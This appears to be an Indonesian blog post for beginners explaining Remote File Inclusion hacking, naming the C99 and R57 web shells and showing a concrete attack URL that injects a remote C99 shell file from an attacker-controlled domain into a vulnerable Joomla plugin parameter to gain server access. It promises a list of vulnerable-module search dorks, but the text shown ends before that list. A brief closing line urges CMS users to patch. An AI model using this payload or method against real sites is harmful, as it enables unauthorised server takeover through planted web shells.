Khusus buat newbie. Apa itu RFI?? RFI atau Remote File Inclusion adalah salah satu metode hacking dengan menginclude file. Tool yang sering dipakai adalah C99 shell injection atau R57 shell injection. Metodenya sangat sederhana. Ketika kita sudah mendapatkan target, kita hanya perlu menginclude file C99 atau R57 nya. sebagai contoh: kita mempunyai target http://domain-name.com/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path= maka disini kita include file c99 nya, menjadi http://domain-name.com/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=http://domain-kita.com/c99.txt Jika berhasil maka kita akan dapat masuk ke dalam server target dengan c99 shell berikut beberapa list RFI Bug Dork. Ini hanya sekedar informasi, jadi bagi yang merasa memakai CMS dengan module-module yang masuk dalam list berikut, segera update module nya atau segera perbaiki bugs nya. Semoga bermanfaat. =====================...
Komentar
Posting Komentar